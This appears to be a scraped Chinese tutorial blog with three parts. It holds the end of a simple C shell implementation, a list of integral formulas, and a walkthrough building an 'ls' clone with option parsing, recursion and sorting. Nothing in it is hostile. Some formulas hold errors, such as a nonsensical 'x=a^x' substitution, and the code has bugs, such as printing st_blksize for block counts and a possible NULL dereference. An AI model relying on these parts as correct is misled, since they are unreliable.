261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
#define NDEBUG
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
//
#include <readline/history.h>
#include <readline/readline.h>
extern char **environ;
#define P_SIZE 128 //命令提示符长度限制
#define RED "\033[31m" //红色
#define CLOSE "\033[0m" //关闭
struct COMMAND
{
int argc; //参数数量
int Redirect_FD[3]; //标准输入、标准输出、错误输出的重定向情况
char **argv;
};
char *oldpath;
void PathAnalyze(char **path);
int OpenFile(char *string, int flags);
void execute(struct COMMAND *cmd);
_Bool BuiltInCommand(struct COMMAND *cmd);
void launch(char *command);
void myerror(char *string, int line);
_Bool analyze(char *string, struct COMMAND *cmd);
int main(void)
{
/* 屏蔽相关信号 */
signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);
signal(SIGTTIN, SIG_IGN);
signal(SIGTTOU, SIG_IGN);
signal(SIGTSTP, SIG_IGN);
read_history(NULL); //调用 readline 库提供的函数,读取历史记录
char Prompt[P_SIZE]; //命令提示符
while (1)
{
strcpy(Prompt, RED);
char *pwd = getcwd(NULL, 0); //getcwd在第一个参数为NULL时会分配内存空间存储工作目录
strncat(Prompt, pwd, 100);
free(pwd);
strcat(Prompt, " MYSHELL$" CLOSE);

char *command = readline(Prompt);
add_history(command); //将读取到的命令添加至历史记录
write_history(NULL);
launch(command); //执行命令
free(command); //readline 为读取的命令分配内存空间,需释放防止内存泄漏
}

if (oldpath != NULL)
{
free(oldpath); //防止内存泄漏和重复释放
}
}
void launch(char *command)
{
int pipe = 0; //管道计数器
for (char *pr = command; *pr != '\0'; pr++)
{
if (*pr == '|')
{
pipe++;
}
}
struct COMMAND *cmd = (struct COMMAND *)calloc(pipe + 1, sizeof(struct COMMAND));
if (cmd == NULL)
{
myerror("malloc", __LINE__);
}
char *remain = NULL;
char *part = strtok_r(command, "|", &remain);
for (int i = 0; i <= pipe; i++)
{
/* 初始化 */
cmd[i].Redirect_FD[STDIN_FILENO] = -1;
cmd[i].Redirect_FD[STDOUT_FILENO] = -1;
cmd[i].Redirect_FD[STDERR_FILENO] = -1;
}
for (int i = 0; i <= pipe; i++)
{

if (pipe && i < pipe)
{
/* 生成临时文件 */
char TempFile[] = "/tmp/MyShell_XXXXXX";
int TempFile_FD = mkstemp(TempFile);
/* 检测生成临时文件是否成功 */
if (TempFile_FD == -1)
{
myerror("mkstemp", __LINE__);
}
/* 将本段命令的标准输出重定向至临时文件 */
cmd[i].Redirect_FD[STDOUT_FILENO] = TempFile_FD;
/* 将下段命令的标准输入重定向至临时文件 */
cmd[i + 1].Redirect_FD[STDIN_FILENO] = TempFile_FD;
unlink(TempFile);
//删除临时文件(临时文件在被close前依然可用,不会被立即删除)
}
analyze(part, &cmd[i]); //分析与检测本段命令中的参数与重定向符
if (BuiltInCommand(&cmd[i]))
{
execute(&cmd[i]);
}
if (pipe && i < pipe)
{
lseek(cmd[i].Redirect_FD[STDOUT_FILENO], 0, SEEK_SET);
cmd[i].Redirect_FD[STDOUT_FILENO] = -1;
}
part = strtok_r(NULL, "|", &remain);
for (int IO_Steam = 0; IO_Steam < 3; IO_Steam++)
{
if (cmd[i].Redirect_FD[IO_Steam] >= 0)
{
close(cmd[i].Redirect_FD[IO_Steam]);
//关闭文件,释放相关资源
}
}

for (int j = 0; j < cmd[i].argc; j++)
{
free(cmd[i].argv[j]);
}
free(cmd[i].argv);
}
free(cmd);
}

int OpenFile(char *string, int flags)
{

size_t len = 0;
char *pr = string;
while (!isspace(*pr) && *pr++ != '\0')
{
len++;
}

char *dest = malloc((len + 1) * sizeof(char));
if (dest == NULL)
{
myerror("malloc failed", __LINE__);
}
strncpy(dest, string, len);
dest[len] = '\0';
memset(string, ' ', sizeof(char) * len);
PathAnalyze(&dest);
int fd = open(dest, flags, S_IRUSR | S_IWUSR);
if (fd == -1)
{
printf("error:fd:%d path:%s\n", fd, string);
myerror("open", __LINE__);
}
free(dest);
return fd;
}
void myerror(char *string, int line)
{
fprintf(stderr, "\aLine:%d,error:\a\n", line);
fprintf(stderr, "%s:%s\n", string, strerror(errno));
exit(EXIT_FAILURE);
}
_Bool analyze(char *OriginString, struct COMMAND *cmd)
{
//string 代表使用管道分割后的「命令段」
//返回值表示重定向情况,0代表无重定向,1代表有重定向

char *string = strdup(OriginString);
if (string == NULL)
{
myerror("malloc", __LINE__);
}
char *end = string + strlen(string);
char *result = NULL;
#ifndef NDEBUG
printf("DEBUG:string:%s\n", string);
#endif
//处理标准输出、错误输出重定向
while ((result = strchr(string, '>')) != NULL)
{
*result = ' ';
int IO_Steam = 1;

result--;
if (result > string && isdigit(*result))
{
if (*result - '0' != STDOUT_FILENO && *result - '0' != STDERR_FILENO)
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
else
{
IO_Steam = *result - '0';
*result = ' ';
}
}
if (cmd->Redirect_FD[IO_Steam] >= 0)
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
result += 2;
_Bool Append = 0;
if (result < end && *result == '>')
{
Append = 1; //附加模式
*result = ' ';
}
while (result < end && isspace(*result))
{
result++;
}

if (result < end)
{
cmd->Redirect_FD[IO_Steam] = OpenFile(result, O_WRONLY | O_CREAT | (Append ? O_APPEND : O_TRUNC));
}
else
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
}
//处理输入重定向
while ((result = strchr(string, '<')) != NULL)
{
*result = ' ';
if (cmd->Redirect_FD[STDIN_FILENO] >= 0)
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
while (result < end && isspace(*result))
{
result++;
}
if (result < end)
{
cmd->Redirect_FD[STDIN_FILENO] = OpenFile(result, O_RDONLY);
}
else
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
}

/* 解析命令行参数 */
int arg_max = 16; //参数上限,在无法满足需求时会自动增加

cmd->argv = (char **)calloc(arg_max, sizeof(char *));
if (cmd->argv == NULL)
{
myerror("malloc", __LINE__);
}
char *remain = NULL;
result = strtok_r(string, " ", &remain);
while (result != NULL)
{
if (arg_max < cmd->argc)
{
arg_max *= 2; //参数数量上限扩充至原来的2倍
cmd->argv = (char **)realloc(cmd->argv, arg_max * sizeof(char *)); //扩充指针数组大小
}
cmd->argv[cmd->argc++] = strdup(result);
if (cmd->argv == NULL)
{
myerror("malloc", __LINE__);
}
result = strtok_r(NULL, " ", &remain);
}
if (arg_max < cmd->argc)
{
arg_max++;
cmd->argv = (char **)realloc(cmd->argv, arg_max * sizeof(char *)); //扩充指针数组大小
if (cmd->argv == NULL)
{
myerror("malloc", __LINE__);
}
}
cmd->argv[cmd->argc] = NULL; //argv[argv]的值为NULL
free(string);
return 0;
}
void PathAnalyze(char **path) //处理~开头的相对路径
{
char *RelativePath = *path;
if (isalpha(*(RelativePath + 1)))
{
*path = malloc(strlen(RelativePath) + 1 + strlen("/home/") + 1);
if (*path == NULL)
{
myerror("malloc", __LINE__);
}
strcpy(*path, "/home/");
}
else
{
char *home = getenv("HOME"); //获得HOME环境变量的值
*path = malloc(strlen(RelativePath) + 1 + strlen(home) + 1);
if (*path == NULL)
{
myerror("malloc", __LINE__);
}
strcpy(*path, home);
}
strcat(*path, RelativePath + 1);
free(RelativePath);
}
void execute(struct COMMAND *cmd)
{

pid_t pid = fork();
if (pid > 0)
{
wait(NULL);
return;
}
for (int i = 1; i < cmd->argc; i++)
{
#ifndef NDEBUG
printf("DEBUG,pid: %d LINE:%d\n", pid, __LINE__);
#endif
if (*cmd->argv[i] == '~')
{
PathAnalyze(&cmd->argv[i]);
}
}
#ifndef NDEBUG
printf("DEBUG:argv[0]:%s\n", cmd->argv[0]);
#endif
for (int IO_Steam = 0; IO_Steam < 3; IO_Steam++)
{
if (cmd->Redirect_FD[IO_Steam] >= 0 && dup2(cmd->Redirect_FD[IO_Steam], IO_Steam) == -1)
{
myerror("dup2", __LINE__);
}
}
execvp(cmd->argv[0], cmd->argv);
myerror("exec", __LINE__);
}

_Bool BuiltInCommand(struct COMMAND *cmd)
{
/* 内建 历史记录命令 */
if (strcmp(cmd->argv[0], "history") == 0)
{
HIST_ENTRY **history = NULL;
history = history_list();
for (int i = 0; history[i] != NULL; i++)
{
printf("%s\n", history[i]->line);
}
return 0;
}
/* 内建 切换工作目录命令 */
if (strcmp(cmd->argv[0], "cd") == 0)
{
if (*cmd->argv[1] == '-')
{
chdir(oldpath);
}
else if (*cmd->argv[1] == '~')
{
PathAnalyze(&cmd->argv[1]);
}
oldpath = getcwd(NULL, 0);
chdir(cmd->argv[1]);
return 0;
}
/* 内建 退出命令 */
if (strcmp(cmd->argv[0], "exit") == 0 || strcmp(cmd->argv[0], "q") == 0)
{
exit(EXIT_SUCCESS);
}
return 1;
}

参考资料

1. 童永清.Linux C 编程实战[M].第1版.北京:人民邮电出版社
2. W.RichardStevens.Stephen.UNIX环境高级编程[M].第3版.戚正伟,译.北京:人民邮电出版社
3. Linux Programmer’s Manual
4. General Commands Manual
5. 鸟哥.鸟哥的Linux私房菜[M].第四版.北京:人民邮电出版社

定积分公式

定积分公式

WARNING

本文为书本上知识的摘抄与课堂知识的记录,笔者不保证本文的正确性.

本文笔者不保留任何权利(CC0),任何人均可以任何方式使用本文的内容.

基本积分表

  1. $\int\frac{1}{x} dx=\ln|x|+C$

  2. $\int\frac{1}{1+x^2} dx=\arctan{x}+C$

  3. $\int\frac{1}{\sqrt{1-x^2}} dx=\arcsin{x}+C$

  4. $\int\cos{x} dx=\sin{x}+C$

  5. $\int\sin{x} dx=-\cos{x}+C$

  6. $\int\frac{1}{\cos{x^2}} dx=\int\sec^2x dx=\tan x +C$

  7. $\int\frac{1}{sin^2x} dx=\int\csc^2x dx=-\cot x+C$

  8. $\int\sec x \tan x dx=\sec x+C$

  9. $\int\csc x \cot x dx=-\csc x+C$

  10. $\int e^x dx=e ^x+C$

  11. $\int a^x dx=\frac{a^x}{\ln a}+C$

  12. $\int \frac {1}{\sqrt{x}} dx=2\sqrt{x}+C$

第一类换元法

  1. $\int f(ax+b) dx=\frac 1 a \int f(ax+b)d(ax+b)$

  2. $\int f(x^n)x^{n-1} dx=\frac 1 n \int f(x^n)d(x^n)$

  3. $\int f(x^n)\frac 1 x dx=\frac 1 n \int f(x^n)\frac 1 {x^n}d(x^n)$

  4. $\int f(\sin x)\cos x dx=\int f(\sin x)d\sin x$

  5. $\int f(\cos x)\sin x dx=-\int f(\cos x)d \cos x$

  6. $\int f(\tan x) \sec^2 x dx=\int f(\tan x) d\tan x$

  7. $\int f(e^x)e^x dx=\int f(e^x) de^x$

  8. $\int f(\ln x)\frac 1 x dx=\int f(\ln x) d\ln x$

  9. $\int f(\arctan x) \frac 1 {1+x^2} dx=\int f(\arctan x) d\arctan x$

  10. $\int f(\arcsin x) \frac 1 {\sqrt {1-x^2}} dx=\int f(\arcsin x) d\arcsin x$


  1. $\int \tan x dx=-\ln |\cos x|+C$

  2. $\int \cot x dx=\ln |\sin x|+C$

  3. $\int \sec x dx=\ln |\sec x +\tan x|+C$

  4. $\int \csc x dx=\ln |\csc x -\cot x|+C$

第二类换元法

Q:$\int f(x)=\sqrt[n]{ax+b} dx$

A:令$t=\sqrt[n]{ax+b}$

Q:$\int f(x)=\sqrt[n]\frac {ax+b}{cx+d} dx$

A:令$t=\sqrt[n]\frac {ax+b}{cx+d}$

Q:$\int f(x)=\sqrt{a^2-x^2} dx$

A:令$x=a\sin{t}$ $t\in(-\frac{\pi}{2},\frac{\pi}{2})$

Q:$\int f(x)=\sqrt{a^2+x^2} dx$

A:令$x=a\tan t$ $t\in(-\frac{\pi}{2},\frac{\pi}{2})$

Q:$\int f(x)=\sqrt{x^2-a^2} dx$

A:令$x=a\sec t$ $t\in(0,\frac{\pi}{2})$

Q:$\int f(x)=a^x dx$

A:令$x=a^x$


  1. $\int\frac{1}{x^2+a^2} dx=\frac{1}{a}\arctan \frac{x}{a}+C$

  2. $\int\frac{1}{x^2-a^2} dx=\frac{1}{2a}\ln{|\frac{x-a}{x+a}|}+C$

  3. $\int\frac{1}{\sqrt{x^2 \pm a^2}} dx=\ln{|x+\sqrt{x^2 \pm a^2}|}+C$

  4. $\int\frac{1}{\sqrt{a^2-x^2}} dx=\arcsin{\frac{x}{a}}+C$

  5. $\int\sqrt{a^2-x^2} dx=\frac{a^2}{2}\arcsin{\frac{x}{a}}+\frac{x}{2}\sqrt{a^2-x^2}+C$

  6. $\int\sqrt{a^2+x^2} dx=\frac{a^2}{2}\ln(x+\sqrt{a^2+x^2})+\frac{x}{2}\sqrt{a^2+x^2}+C$

参考资料

1. 同济大学数学系.高等数学上册[M].第7版.北京:高等教育出版社

GNU/Linux_C 开发实战--myls

GNU/Linux C 开发实战—myls

需求

  • 对不同类型或不同权限的的文件,输出不同颜色的文字
  • 实现ls的以下7个参数任意组合
    • -a 不隐藏任何以 . 开始的项目
    • -i 显示每个文件的索引编号(inode 号)
    • -l 使用较长格式列出信息
    • -s 以块数形式显示每个文件分配的尺寸
    • -t 按时间排序,最新的最前
    • -r 逆序排列
    • -R 递归显示子目录

必要的头文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <locale.h>
#include <pwd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

开发过程

获取并解析用户输入

分别声明7个_Bool类型的全局变量存储解析到的各个参数的使用情况

1
2
3
4
5
6
7
_Bool Options_a;
_Bool Options_i; //显示i-node
_Bool Options_l;
_Bool Options_r; //逆序
_Bool Options_R;
_Bool Options_s; //以块数形式显示每个文件分配的尺寸
_Bool Options_t; //时间排序

通过判断argv中的指针指向的字符串的首字符是不是-来判断这个字符串是参数还是路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
_Bool p = 0; //表明是否读取到路径
char *path;//指向存储路径字符串的指针
for (int i = 1; i < argc; i++)
{
if (*argv[i] == '-') //判断是参数还是路径
{ //是参数
for (unsigned int n = 1; n < strlen(argv[i]); n++) //遍历每一格字母
switch (argv[i][n])
{
case 'a':
Options_a = 1;
break;
case 'i':
Options_i = 1;
break;
case 'l':
Options_l = 1;
break;
case 'r':
Options_r = 1;
break;
case 'R':
Options_R = 1;
break;
case 's':
Options_s = 1;
break;
case 't':
Options_t = 1;
break;
default: //错误的参数
printf("%s error:Unknow options: %s\n", __FILE__, argv[i]);
exit(EXIT_FAILURE);
break;
}
}
else
{ //是路径
p = 1; //表明已经读到了路径
path = argv[i];
}
}

info

在ls中,如果用户输入了路径,那么应该输出用户输入的路径下的文件,否则路径的缺省值应该为当前目录

1
2
3
4
5
6
if (!p) //如果没读取到路径(等价于路径是通过getcwd获得的)
{
path = getcwd(NULL, 0); //获取当前路径
if (path == NULL)
myerror("getcwd", " ", __LINE__);
}

上面的代码调用了笔者为了简化错误处理流程写的myerror()函数,该函数定义如下

1
2
3
4
5
6
void myerror(const char *string1, const char *string2, int line)
{
printf("\033[31mline:%d:file:%s\n%s:%s\033[0m\n", line, string2, string1, strerror(errno));//strerror()需要 string.h

exit(EXIT_FAILURE);
}

笔者相信细致的读者一定会觉得!p的设计时不必要的,因为可以通过预先执行path=NULL;,然后在解析完成后判断if (path==NULL)区分是否已经读取到路径,从而删去p变量,但这样的做法是有缺陷的.

  • 当用户输入路径时,path指向某一个argv中的某一个指针指向的字符串.不需要执行free(path)
  • 当用户不输入路径时,path指向由getcwd函数自动分配内存存储的当前路径.需要执行free(path)

为了区分是否需要执行free,防止产生内存泄漏,笔者设置p变量来完成对是否需要free的检测.

递归打开目录

在需求中的7个参数中,-R的实现无疑是最为困难的.
笔者通过设计一个以存储目标文件夹路径的字符串为参数的函数,并通过递归调用该函数实现 -R 参数.

首先,笔者定义了几个宏:

1
2
3
#define StackPush(x) FileStack[++FileStackTop] = (x)
#define StackTop FileStack[FileStackTop]
#define StackPop free(FileStack[FileStackTop--])

下面是OpenADirectory的大致流程:

warning
TIP
笔者为了方便各位读者理解该函数运行的流程,在下面的代码中笔者省略了很多细节.
请读者们此时更多的关注该函数的「整体流程与思想」,而不是细枝末节.
请不要担心、不要着急,后文中笔者将逐一说明被笔者省略的内容.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
typedef struct
{
struct stat FileStat;
struct dirent File_di;

} FileInfo;

void OpenADirectory(const char *path)
{
/* 保存原目录 */
char *oldpath = getcwd(NULL, 0);
if (oldpath == NULL)
myerror("getcwd", " ", __LINE__);

DIR *CurrentDir = opendir(path);
/* 此处省略打开目录失败的错误处理 */

/* 切换目录 */
if (chdir(path) == -1)
/* 此处省略切换目录失败的错误处理 */

/* 文件堆 */
FileInfo **FileStack = (FileInfo **)malloc(sizeof(FileInfo *) * FileNumberMax);
if (FileStack == NULL)
myerror("malloc", " ", __LINE__);
int FileStackTop = -1;


/* 文件读取 */
struct dirent *CurrentFile;
while ((CurrentFile = readdir(CurrentDir)) != NULL)
{
FileInfo *temp = (FileInfo *)malloc(sizeof(FileInfo));
if (temp == NULL)
myerror("malloc", "", __LINE__);
temp->File_di = *CurrentFile;
if (lstat(CurrentFile->d_name, &(temp->FileStat)) == -1)
{
printf("\033[31mError:Line:%d: can't get stat of %s,%s\033[0m\n", __LINE__, CurrentFile->d_name, strerror(errno));
free(temp);
continue;
}
if (FileStackTop < FileNumberMax)
StackPush(temp);
else
myerror("\033[31mToo much File\033[0m\n", " ", __LINE__);
}
/* readdir错误检查 */
if (errno) //需要 error.h
printf("\033[31mline:%d:error:%s\033[0m\n", __LINE__, strerror(errno));

该函数在运行的开始,首先保存当前的工作目录的路径,然后打开作为参数的路径中指定的文件夹.

OpenADirectory()新建了一个名叫FileStack的指针,该指针指向指向FileInfo类型的指针,换而言之,FileStack是一个二级指针.由于使用malloc()为其分配了sizeof(FileInfo *) * FileNumberMax字节的空间,即FileNumberMaxFileInfo *类型所占的空间,那么此时,FileStack就相当与一个「内含FileNumberMax个指针元素的数组」.在此,笔者将该数组作为存储path指定的文件夹内每个文件对应的FIleInfo堆栈

danger
ERROR
可能会有读者在想,FileStack不就是个指针数组嘛.直接使用FileInfo (*FileStack)[FileNumberMax];便可以自动分配一个指针数组,何必使用malloc()呢?
这不是笔者在使用二级指针故作高深,而是确有必要.FileInfo (*FileStack)[FileNumberMax];语句定义的是自动变量,占用栈区空间,而栈区空间通常较小,在多层递归中容易出现栈溢出的错误.而malloc()分配的空间在堆区上,堆区远大于栈区,这样才能保证程序的正常运行.
还有人可能会问,那能否这样调用malloc呢?

FileInfo *array=malloc(sizeof(FileInfo) * FileNumberMax);

这样的做法,由FileInfo *类型的指针数组改为FileInfo数组,这样确实也不占用栈区空间,也避免了二级指针带来的理解困难,但却存在着更为严重的内存浪费问题.在绝大多数文件夹中,文件数量远远少于FileNumberMax,在相同的文件夹,如果使用指针数组的方案,浪费的空间仅为多个指针所占据的空间,而使用FileInfo数组的方案却浪费了多个FileInfo的空间,要知道FileInfo所占的空间远大于FileInfo *.所以使用FileInfo的方案也不合理.

假设打开文件夹成功,则将程序的工作目录切换至已打开的文件夹(也就是参数中指定的文件夹),这是因为笔者需要调用lstat函数获取文件夹下每个文件的属性.
lstat以文件路径为参数.切换目录后,笔者便可以以文件名作为相对路径直接调用lstat函数.如不切换目录则会找不到文件,当然也可以采取字符串拼接的做法,但这样做需要对文件夹下每个文件都执行一次字符串拼接,效率较低,而且字符串的长度不定,分配空间也易出现浪费或溢出.笔者直接切换目录避免了这些麻烦,也提升了效率.

在此后笔者使用循环遍历文件夹中的每个文件,获取每个文件的属性,并将每个文件对应的struct statstruct dirent一同存储在的struct FileInfo
这样做的好处有很多,完成了这步后,输出文件信息所必要的所以内容已被集中在了一个struct FileInfo结构体中,为后面对详细信息的输出和文件信息的排序排序给予了极大的便利.

1
qsort(FileStack, FileStackTop + 1, sizeof(FileInfo *), cmp);

之后笔者使用qsort函数对FileStack进行排序处理,作为函数指针传递的cmp函数要如何写,请容笔者在后文交代.
这这里,需要注意的是,真正被排序的是FileInfo *,而每个FileInfo元素都还存储在原来的位置.排序FileInfo *,代替FileInfo是一个十分有用的小技巧,能提升排序的效率.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    for (int i = FileStackTop; i >= 0; i--)
{
/* 此处省略输出文件信息的函数 */
}

while (FileStackTop >= 0)
{
if (Options_R && S_ISDIR(StackTop->FileStat.st_mode) && strcmp(StackTop->File_di.d_name, ".") != 0 && strcmp(StackTop->File_di.d_name, "..") != 0)
OpenADirectory(StackTop->File_di.d_name);
StackPop;
}

if (chdir(oldpath) == -1) //切回目录
myerror("chdir", path, __LINE__);

/* 释放与关闭 */
free(oldpath);
closedir(CurrentDir);
free(FileStack);
}

如上,笔者使用for循环从堆的顶部遍历每个元素,并输出其中的所需的信息,这样便做到了排序输出.

其后,笔者再次从堆顶逐一访问每个元素,在启用了-R参数时,检测堆栈顶部的元素是否为文件夹,如果堆栈顶部为文件夹,且不是...则把堆栈顶部的元素对应的文件夹的路径作为参数递归调用OpenADirectory().完成后对先free堆栈顶的元素所指向的FileInfo分配的空间并对堆栈执行pop操作.
最终释放堆栈空间及其他内存分配.

secondary
SECONDARY

获取文件属性的函数还有stat,为什么要选择lstat而不是stat呢?

原因很简单lstat函数获取符号链接(Symbolic link)本身的属性,而stat获取被链接的文件的属性.

顺带一提,得益于FileStack已经被qsort函数完成了排序,所以接下来通过递归调用打开子文件夹也是有序的.这使得myls程序运行期间所有文件的输出顺序是正确的.

至此,笔者终于完整的描述了OpenADirectory()的运行的流程.

打开目录过程中的细节

首先需要关注的是错误处理.其中readdir()函数的错误处理需要特别的关注.

tip

TIP

readir()在读到目录结尾和出错时返回NULL.仅在出错时设置errno

If the end of the directory stream is reached, NULL is returned and errno is not changed. If an error occurs, NULL is returned and errno is set appropriately. To distinguish end of stream from an error, set errno to zero before calling readdir() and then check the value of errno if NULL is returned.

readdir()的返回值NULL具有双重含义,只能使用检测errno的值是否为0来判断readdir()是否执行正常.
在检测前需保证errno==0


调用opendir时,易因权限不足等原因致使opendir无法正常执行.在发生错误时,笔者并未选择直接退出程序,而是选择报错并跳过打开失败的文件夹.
记得要释放getcwd中为了存储当前工作目录路径的字符串分配的内存空间,清除errno的值.

1
2
3
4
5
6
7
8
DIR *CurrentDir = opendir(path);
if (CurrentDir == NULL)
{
printf("\033[31mLine:%d:readfailed:%s/%s\t %s\033[0m\n", __LINE__, oldpath, path, strerror(errno));
errno = 0;
free(oldpath);
return;
}

切换目录过程中,也可能因权限不足而导致切换失败,例如:用户缺少文件夹的x权限时,便无法进入相应的文件夹.因此,这一步的错误检查同样必不可少.
同样不能忘记释放内存空间、清除errno的值,额外的还需要关闭已打开的文件夹.

1
2
3
4
5
6
7
8
9
/* 切换目录 */
if (chdir(path) == -1)
{
printf("\033[31mLine:%d:chdir:%s\t %s\033[0m\n", __LINE__, path, strerror(errno));
errno = 0;
free(oldpath);
closedir(CurrentDir);
return;
}

当然不必笔者多提的就是malloc()的错误处理,相信各位读者一定知道该怎么做,笔者便不再赘述.

OpenADirectory的结尾,笔者将工作目录切换回去,方便递归中打开后续文件夹.

实现文件详细信息输出

格式化输出文件大小

这部分十分容易实现,只需要从相应的struct stat中访问st_size成员,并将其作为参数传递给相应的格式化输出函数即可.

1
2
3
4
5
6
7
8
9
10
11
void FormatBytes(off_t size)
{
char *array[] = {"B", "KB", "MB", "GB", "TB", "PB"};
int n = 0;
while (size >= 1024)
{
n++;
size /= 1024;
}
printf("%ld%s\t", size, array[n]);
}
格式化输出修改时间
1
2
3
4
5
6
7
void FormatTime(time_t mtime)
{
char string[20];
struct tm *timeinfo = gmtime(&mtime);
strftime(string, 17, "%b %e %R", timeinfo);
printf("%s\t", string);
}

文件的修改时间被存储在struct statst_mtim.tv_sec成员中.有必要多说一句的是,为了输出本地时间(UTC +8),还需要设置本地化的时间,笔者将这部分需求在main函数中实现.

1
2
3
/* 本地化时间设置 */
if (setlocale(LC_TIME, "") == NULL)
myerror("setlocale", " ", __LINE__);
格式化输出文件所属的用户和用户组
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void FormateUserAndGroup(uid_t userid, gid_t groupid)
{
struct passwd *owner = getpwuid(userid);//#include <pwd.h>

if (owner == NULL)
{
printf("%s\n", getcwd(NULL, 0));
printf("uid:%u\n", userid);
}

struct group *group = getgrgid(groupid);//include <grp.h>
if (group == NULL)
myerror("getgruid", " ", __LINE__);

printf("%s\t%s\t", owner->pw_name, group->gr_name);
}

函数以struct stat中的st_uid成员和st_gid成员为实际参数,分别通过uidgid调用getpwuid()函数和getgrgid()函数,获取相关结构体,并输出其中的用户名和用户组名称.

tip

TIP

  • getpwuid()函数 由 pwd.h 提供
  • getgrgid()函数 由 grp.h 提供
格式化输出文件权限

文件权限的格式化输出最为简单.只是机械的判断并输出即可.

考录到存在SUIDSGIDSBIT 这些特殊权限的存在,笔者并未尝试使用位移运算符来复用部分代码,使得这部分代码显得很长.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
void prauthority(mode_t mode)
{
if (S_ISREG(mode))
putchar('-');
else if (S_ISDIR(mode))
putchar('d');
else if (S_ISLNK(mode))
putchar('l');
else if (S_ISFIFO(mode))
putchar('f');
else if (S_ISBLK(mode))
putchar('b');
else if (S_ISCHR(mode))
putchar('c');
else if (S_ISSOCK(mode))
putchar('s');
//Owner
if (S_IRUSR & mode)
putchar('r');
else
putchar('-');
if (S_IWUSR & mode)
putchar('w');
else
putchar('-');
if (S_IXUSR & mode)
{
if (S_ISUID & mode)
putchar('s');
else
putchar('x');
}
else
putchar('-');

//group
if (S_IRGRP & mode)
putchar('r');
else
putchar('-');
if (S_IWGRP & mode)
putchar('w');
else
putchar('-');
if (S_IXGRP & mode)
{
if (S_ISGID & mode)
putchar('s');
else
putchar('x');
}
else
putchar('-');

//Other
if (S_IROTH & mode)
putchar('r');
else
putchar('-');
if (S_IWOTH & mode)
putchar('w');
else
putchar('-');
if (S_IXOTH & mode)
{
if (S_ISVTX & mode)
putchar('t');
else
putchar('x');
}
else
putchar('-');
putchar('\t');
}
格式化输出文件的i-node编号和以块为单位文件的大小

直接从struct stat 中读取相关信息并输出即可.

1
2
3
4
if (Options_i)
printf("%-10lu\t", FileStack[i]->FileStat.st_ino);
if (Options_s)
printf("%-8ld\t", FileStack[i]->FileStat.st_blksize);
根据文件的类型和权限输出不同颜色的文件名

根据struct dirent中的char d_name[256]输出即可.无非是根据不同类型输出不同的颜色而已.

1
2
3
4
5
6
7
8
9
10
11
if (S_ISREG(FileStack[i]->FileStat.st_mode) &&
((S_IXUSR & FileStack[i]->FileStat.st_mode) ||
(S_IXGRP & FileStack[i]->FileStat.st_mode) ||
(S_IXOTH & FileStack[i]->FileStat.st_mode)))
printf("\033[32m%s\033[0m\n", FileStack[i]->File_di.d_name);
else if (S_ISREG(FileStack[i]->FileStat.st_mode))
printf("%s\n", FileStack[i]->File_di.d_name);
else if (S_ISDIR(FileStack[i]->FileStat.st_mode))
printf("\033[34m%s\033[0m\n", FileStack[i]->File_di.d_name);
else if (S_ISLNK(FileStack[i]->FileStat.st_mode))
printf("\033[31m%s\033[0m\n", FileStack[i]->File_di.d_name);

实现排序输出

在用OpenADirectory()中笔者调用了qsort().其中,qsort()cmp进行隐式类型转换函数指针,完成了对FileStack这个指针数组的排序.

1
qsort(FileStack, FileStackTop + 1, sizeof(FileInfo *), cmp);

在此,笔者来实现cmp()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int cmp(const void *a, const void *b)
{
const FileInfo *A = *(FileInfo **)a;
const FileInfo *B = *(FileInfo **)b;
int i;
if (Options_t)
{
time_t t = B->FileStat.st_mtim.tv_sec - A->FileStat.st_mtim.tv_sec;
if (t > 0)
i = -1;
else if (t == 0)
i = 0;
else
i = 1;
}
else
i = strcmp(B->File_di.d_name, A->File_di.d_name);
if (Options_r)
i = -i;
return i;
}

其中,根据用户是否输入了参数-r决定是否进行逆序排列,根据用户是否输入了参数-t决定排序的方式.

至此,myls终于完成了,完整的代码见本文末的附录.

反思

动态分配 FileStack

在上面的实现中,笔者粗暴的使用了一个FileNumbertMax作为FileStack中指针的数量,但这并非最优解.

大多数文件夹中,文件数量远远小于 FileNumbertMax 意味着浪费了很多空间.

更合理的做法是,为FileStack设置一个大于「大多数文件夹中存放文件数量」的初始值,在遇到FileStack满后,使用realloc()扩充FileStack的空间即可.

当然,这不可避免的是在一定程度上减缓myls的运行速度,这个运行速度与消耗空间的平衡需要读者自行考量.

获取文件属性

warning

WARNING

该部分内容含较多的笔者的未验证个人观点,不保证正确.欢迎读者们指出错误.

